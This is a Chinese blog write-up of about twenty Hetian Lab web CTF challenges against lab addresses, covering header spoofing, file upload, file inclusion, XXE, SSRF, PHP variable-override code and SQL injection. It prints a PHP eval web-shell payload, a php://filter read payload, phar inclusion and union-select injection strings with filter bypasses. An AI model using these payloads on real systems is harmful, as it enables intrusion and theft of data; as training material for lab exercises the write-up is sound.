当前位置:首页 > CTF > 正文内容

合天网安Web-CTF-WriteUp

UzJu2年前 (2022-04-17)CTF813

Web-CTF-WriteUp

一、前言

旧文,师傅们随便看看

二、WriteUp

①、编码

1、神奇的磁带-WriteUp

  • 漏洞地址:10.1.1.147:5001
    image-20211222162951170
  • Burp抓包
    image-20211222162956899
    image-20211222163007072
    image-20211222163012362
    image-20211222163017435
    image-20211222163022048
  • 对应题目,神奇的磁带(tape)
    image-20211222163027038
    image-20211222163033127
    image-20211222163039747
    image-20211222163044737
    image-20211222163049516

    image-20211222163104857
    image-20211222163110119
    image-20211222163116456
    image-20211222163121859
    image-20211222163130080
    image-20211222163136043
    flag是:Flag{ctf_victory_SecBug}

②、HTTP基础

2、 就差一把钥匙

  • 题目描述
    image-20211222163242427
    image-20211222163247733
  • 查看源码

image-20211222163254267

  • 没什么东西 看看当前页面COOKIE
    image-20211222163300421
  • 打开burp抓包
    image-20211222163305659
  • 没什么东西,然后看了一下标题
    image-20211222163316856
  • 打开终端扫一下目录
    image-20211222163323020
    image-20211222163328711
  • 都指向console目录
    image-20211222163336040
  • 根据经验发现XFF没跑了 burp抓包改包
    image-20211222163342211
    image-20211222163351927
    拿到flag: flag{hetianlab-weekctf}

3、 迷了路

  • 题目描述
    image-20211222163623662
  • 访问网站
    image-20211222163629748
  • 查看源代码
    image-20211222163637561
  • 查找一番无果后根据标题猜测跟HTTP的Accept-language有关
    image-20211222163649704
    image-20211222163658547
  • 8个国家,分别为美国 英国 法国 德国 日本 韩国 西班牙 瑞典 百度搜了一下
    image-20211222163707600
  • 美国:en-US

image-20211222163717062

  • 英国:en-gb
    image-20211222163728745
  • 法国:fr-fr
    image-20211222163737699
  • 德国:de-de
    image-20211222163527232
  • 日本:ja-jp/jp
    image-20211222163813997
  • 韩国:kr/kor 实测kr并不会返回信息
    image-20211222163825957
    image-20211222163834769
  • 西班牙:es-es
    image-20211222163844146
  • 瑞典:sv
    image-20211222163850059
    拼接flag为:flag{Thisis_hetianlab@}

③、基础代码审计

4、 Check your source code

  • 题目描述
    image-20211222163929806
  • 访问网站
    image-20211222163934395
  • 尝试一下admin admin 无果后查看源代码
    image-20211222163940596
    image-20211222163951158
  • 审计题 定义俩变量
    image-20211222164000840
  • 检查post user name 和password
    image-20211222164007147
  • 等于
    image-20211222164013449
  • 检查cookie是不是 check
    image-20211222164020082
  • url解密后的username变量全部等于(===你懂的)和url解密后的password不等于admin 意思是账号admin密码不等于admin即可
    image-20211222164028913
    image-20211222164034718
  • 然后setcookie等于ahash然后用base64加密secret变量然后urldecode admin admin,time()为时间7天
    image-20211222164041151
  • 流程就是抓包把cookie改成check然后加密后的secret和明文的admin与任意密码
  • 抓包看到一个base64加密的cookie
    image-20211222164049298
  • 解密后
    image-20211222164059870
  • 这个88应该就是secret这个变量 那么把它加密
    image-20211222164112048
  • 然后把包丢进repeater
    image-20211222164118465
  • 名字改为check等于加密后的88
  • 后面跟上admin与任意密码即可 注意:check那里的密码必须与下面提交的数据password一样 不然会提示重新检查cookie
    image-20211222164126274
    flag{welcome_to_htlab}

④、文件上传

5、 Easy Upload

  • 题目描述
    image-20211222164144501
  • 访问网站
    image-20211222164152017
  • 检查提交的源代码
    image-20211222164159710
  • 新建文件
    image-20211222164209025
  • 写入phpinfo
    image-20211222164219736
    image-20211222164229785
    image-20211222164238816
    image-20211222164254401
    image-20211222164305310
    image-20211222164315221
  • 点击发送
    image-20211222164326312
    image-20211222164337298
    Flag: flag{hetian@lab_com}

6、 套娃一样的文件上传

  • 题目描述
    image-20211222164357980
  • 访问网站
    image-20211222164408257
  • 看一下提交按钮的javascript
    image-20211222164421733
    image-20211222164433968
    image-20211222164452207
  • 丢到repeater
    image-20211222164504538
  • 就只剩下第三层了
    image-20211222164516739
  • LBWNB 17这个数字 猜测是提交的数据
    image-20211222164537148

    flag{0000_0000_0000}

7、 再见上传

  • 题目描述
    image-20211222164628387
  • 访问网站
    image-20211222164709780
  • 查看源码
    image-20211222164722330
  • 源代码没有东西 直接整抓包上传8
    image-20211222164739301
    image-20211222164838607
  • Uploads/后面加上UzJu.php%00 然后点击send发现还是不行
    image-20211222164852503
  • 后来想了一下好像要改hex
    image-20211222164917990
    image-20211222164929803
    flag{asdf_hetianlab_com}

8、 随意的上传

  • 题目描述
    image-20211222165016226
  • 访问网站
    image-20211222165037371
  • 写一个phpinfo上传
    image-20211222165104383
  • 过滤了<?php php使用Payload
    <script language="pHp">@eval($_POST['UzJu'])</script>
  • 上传后使用菜刀连接
    image-20211222165134008
    image-20211222165249553
    Flag:flag{0123_4567_8901}

⑤、文件包含

9、试试phpinfo()吧

  • 题目描述
    image-20211222165347698
  • 访问网站
    image-20211222165431615
  • ../phpinfo.php
    image-20211222165509460
    image-20211222165527678
  • 拉到最底下查看flag
    Flag: flag{abcd_hetianlab_1234_qwer}

10、试试协议吧

  • 题目描述
    image-20211222165634977
  • 访问网站
    image-20211222165647517

    image-20211222165721661
    image-20211222165737889
  • 彳亍 解密后
    image-20211222165802237
    Flag: flag{abdc_1234_qwer_hetian}
  • Payload: php://filter/convert.base64encode/resource=flag.php

11、签到般的包含

  • 访问网站
    image-20211222165916567
  • 新建文件
    image-20211222165936594
  • 打包成zip 然后将zip文件后缀名改为jpg
    image-20211222165951945
  • 上传文件

    image-20211222170022333
  • 在c盘下有菜刀工具 连接地址:http://10.1.1.147:5011/include.php?
    file=phar://upload/test.jpg/1
    image-20211222170036774
    flag{whoami_hetianlab_student}

⑥、XXE

12、simple xxe

  • 访问网站 查看源码
    image-20211222170140733
  • 按照题目提示找到注释说明flag在opt目录下
    image-20211222170158797

    image-20211222170227080
    image-20211222170256269
    image-20211222170309176
    Flag(hetianlab_ctf)

13、blind xxe

image-20211222170417822

image-20211222170429767

  • 启动apache 进入html目录 创建dtd文件
    image-20211222170510031
  • 修改POST数据
    image-20211222170525948
  • 抓包后监听即可

    flag{hetian_1234_awdr}

⑦、SSRF

14、回显的SSRF

  • 题目描述
    image-20211222170644896
  • 访问网站 直接使用file协议
    image-20211222170701999
  • 查看flag
    image-20211222170729141
    flag{enter_your_passwd}

15、有点另类的SSRF

  • 题目描述
    image-20211222170749533
  • 抓包
    image-20211222170814695
  • 需要POST参数admin
    image-20211222170842943
  • 加上XFF
    image-20211222170858411
  • 试试xcip
    image-20211222170927174
    image-20211222170940445
    flag{0123_hetianlab_hunan}

⑧、代码审计

16、给你丢了串代码

  • 题目描述
    image-20211222171011271
  • 访问网站
    image-20211222171057584
  • 源代码
      <?php
      include "flag.php";
      $_403 = "Access Denied";
      $_200 = "Welcome Admin";
      if ($_SERVER["REQUEST_METHOD"] != "POST"){
          //需要POST方法
          die("hetianlab flag is here :biubiubiu");
      }if (!isset($_POST["flag"])){
          //需要POST参数=flag
          die($_403);
      }foreach ($_GET as $key => $value){
          //遍历GET方法所传值
              $$key = $$value;
          }foreach ($_POST as $key => $value){
          //遍历POST方法所传值
          $$key = $value;
      }if ($_POST["flag"] !== $flag){
          die($_403);
      }
      echo "This is your flag : ". $flag . "\n";
      die($_200);
      ?>
    image-20211222171114041
  • 变量覆盖题
    flag{hunan_hetian}

17、学会变量覆盖

  • 题目描述
    image-20211222171148468

  • 查看源代码

    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title>学会变量覆盖</title>
    </head>
    <body>
    <!--
    $flag='xxxx':
    extract($_GET):
    if (isset($gift))
    Scontent =@trim(file_get_contents($flag)):
    if (Sgift = $content)
    echo"flag
    else
    echo ' oh . . ' ;
    -->
    </body>
    </html>
  • 判断gift变量是否存在,否则执行判断
    File_get_contents读取flag传给content
    判断gift 是否等于content,如果等于content就输出flag
    image-20211222171548090

  • 构造gift=&flag= 两个值都为空,判断相等
    flag{hetianlab}

18、Easy php

  • 题目描述
    image-20211222171700587

  • 源代码

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

image-20211222171713205

image-20211222171759788
flag{asdhetianlab}

19、最后一道变量覆盖

  • 题目描述
    image-20211222171916129
<?php
header("Content-Type: text/html;charset=utf-8");
       error_reporting(0);

       if (empty($_GET['id'])) 
      {
            show_source(__FILE__);
            die();
      } 
      else 
     {
            include ('flag.php');
            $a = "www.hetianlab.com ";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) 
           {
                 echo $flag;
           } 
           else 
           {
                 exit('其实很简单其实并不难!');
           }

       }

?>

⑨、SQL注入

20、你的空格哪去了

  • 题目描述
    image-20211222172024915
  • 访问网站
    image-20211222172044986
  • 简单的查询代码 输入1
    image-20211222172234888
  • 输入2
    image-20211222172255950
    image-20211222172310075
    image-20211222172325425
  • 提示hacker! 可能过滤的’ 或者 and等
    image-20211222172349064
    image-20211222172453696
  • 没有提示hacker 说明没有过滤单引号 根据标题发现可能过滤了空格
    image-20211222172706900
    image-20211222172727359
  • 尝试and后也没有过滤and
  • 首先1’order//by//5#
    image-20211222172757651
  • 发现没有信息 再尝试1’order//by//3#
    image-20211222172820016
  • 然后使用-1’union//select//1,2,3#
    image-20211222172846273
    image-20211222172858611
  • 然后看到我才会告诉你可以用select flag from flag看到Flag尝试
  • payload:-1’union//select//1,2,flag//from//flag#
    image-20211222172918154
    Flag: flag{63564494cac7097c}

21、想想怎么绕过过滤吧

  • 题目描述
    image-20211222172956674
    image-20211222173022572
  • 打开发现跟21周的没什么区别 只是新增了select过滤
    image-20211222173035995
  • 直接大小写绕过即可
    image-20211222173122272
    image-20211222173234116
  • Payload:-1’union//SeLeCt//1,2,flag//from//flag#

Flag:flag{ff98f887ddaaad88}

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/52.java

分享给朋友:
返回列表

没有更早的文章了...

下一篇:CTF_Vulnhub My Web Server:1—Writeup

相关文章

CTF_Vulnhub My Web Server:1—Writeup

CTF_Vulnhub My Web Server:1—Writeup

CTF_Vulnhub My Web Server:1—WriteupGet Box:https://www.[vulnhub.com/entry/my\-web\-server\-1,463/](http://vulnhub.com/en...

CTF-Web-我和我的女朋友 Me and My Girlfriend 1—Writeup

CTF-Web-我和我的女朋友 Me and My Girlfriend 1—Writeup

CTF-Web-我和我的女朋友 Me and My Girlfriend 1—WriteupMe and My Girlfriend 1—Writeup 环境:Vmware 14,Kali Linux 2019,VirtualBox...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。